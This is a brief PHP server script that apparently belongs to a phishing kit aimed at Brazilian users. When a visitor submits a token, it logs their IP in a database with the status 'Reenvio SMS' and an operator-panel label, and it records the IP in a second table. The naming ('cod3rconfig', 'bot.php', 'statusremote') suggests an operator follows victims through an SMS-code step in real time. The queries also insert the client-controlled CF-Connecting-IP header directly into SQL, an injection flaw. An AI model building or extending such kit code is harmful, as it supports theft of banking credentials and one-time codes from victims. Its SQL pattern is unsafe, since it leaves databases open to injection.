<?php
session_start();
error_reporting(0);

require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";
require_once "../bot.php";

if (!@$_POST['token']) {
    echo"<script>alert('Data is invalid. Please try again.');location.href=\"index.php\"</script>";
}else{

    date_default_timezone_set('America/Sao_Paulo');   

    $ip       = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);
    $token    = $_POST['token'];
    $tempo    = time();
    $atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo = '$tempo', status = 'Reenvio SMS', statusremote = '<font color=green>Pedido Reenvio SMS</font>' WHERE ip = '$ip'");
    echo 1;

    $tempo    = time();
    $verifica = mysqli_query(DBCOnnect(), "SELECT * FROM som WHERE ip = '$ip'");
    $linhas   = mysqli_num_rows($verifica); 

    if($linhas == 0) { 
       $acrescenta = mysqli_query(DBCOnnect(), "INSERT INTO som (ip, status, tempo) VALUES ('$ip','info2', '$tempo')");
    }else{ 
       $ip       = mysqli_fetch_assoc($verifica);
       $ip       = $ip['ip'];
       $atualiza = mysqli_query(DBCOnnect(), "UPDATE som SET tempo = '$tempo' WHERE ip = '$ip'");
    }
}
?>